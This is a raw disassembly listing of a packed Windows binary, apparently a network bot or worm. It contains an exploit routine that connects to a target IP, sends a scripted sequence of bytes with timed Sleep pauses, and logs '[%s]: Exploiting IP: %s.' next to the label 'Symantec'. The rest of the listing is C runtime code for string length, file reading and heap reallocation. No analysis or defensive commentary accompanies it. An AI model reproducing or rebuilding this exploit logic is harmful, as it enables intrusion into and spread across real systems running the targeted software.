		call	sub_41BF70
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_2	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: .packed:0041B843p
					; .packed:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBDE4
		lea	edi, [ebp+var_C]
		mov	ax, word_43ADDC
		movsd
		movsb
		mov	esi, offset dword_4DBDDC
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346E4
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB89C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA34	; send
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA34	; send
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA34	; send
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA34	; send
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA34	; send


loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------


loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA34	; send
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA34	; send
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA34	; send
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA34	; send
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA34	; send


loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ADF4
		lea	edi, [ebp-38h]
		mov	ax, word_4346E4
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43ADF0
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBDE4
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43ADEC
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43ADE8
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43ADE4
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBA64	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBA7C	; closesocket


loc_41B724:				; CODE XREF: .packed:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA24	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CB9E4	; htons
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C	; connect
		test	eax, eax
		jnz	loc_41B820


loc_41B75C:				; CODE XREF: .packed:0041B7CEj
					; .packed:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CB9FC	; recv
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------


loc_41B79E:				; CODE XREF: .packed:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA34	; send
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: .packed:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA34	; send
		push	1
		pop	edi


loc_41B800:				; CODE XREF: .packed:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: .packed:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E


loc_41B820:				; CODE XREF: .packed:0041B756j
					; .packed:0041B7B2j ...
		push	ebx
		call	dword_4CBA7C	; closesocket
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B82E:				; CODE XREF: .packed:0041B781j
					; .packed:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA34	; send
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi	; Sleep
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBCDC
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE


loc_41B891:				; CODE XREF: .packed:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBCDC[eax]
		push	eax
		push	offset dword_43ADE0
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi	; Sleep
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891


loc_41B8CE:				; CODE XREF: .packed:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi	; Sleep
		push	2
		pop	edi


loc_41B8E7:				; CODE XREF: .packed:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi	; Sleep
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi	; Sleep
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi	; Sleep
		mov	dword ptr [ebp-4], 2


loc_41B938:				; CODE XREF: .packed:0041B950j
		push	258h
		call	esi	; Sleep
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBA7C	; closesocket
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431808[eax]
		push	1
		lea	eax, dword_431808[eax]
		pop	eax


loc_41B9B7:				; CODE XREF: .packed:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; sub_401221+14Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0


loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0


loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------


loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi


loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD3A8
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi


loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD3A4
		call	dword_42714C	; RtlFreeHeap


loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; sub_40FA3C+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]


loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax


loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]


loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD3A8
		cmp	eax, 3
		jnz	loc_41BD22


loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD3A0
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi


loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h


loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5


loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi


loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD3A4
		call	dword_427150	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi


loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h


loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA


loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi


loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD3A4
		call	dword_4271A0	; RtlReAllocateHeap
		mov	edi, eax


loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B


loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE58, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi


loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CE84
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi


loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h


loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B


loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD3A4
		call	dword_427150	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi


loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD3A4
		call	dword_4271A0	; RtlReAllocateHeap
		mov	edi, eax


loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B


loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE58, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi


loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD3A4
		call	dword_4271A0	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_41BE7D


loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE58, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D


loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax


loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------


loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE58
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0


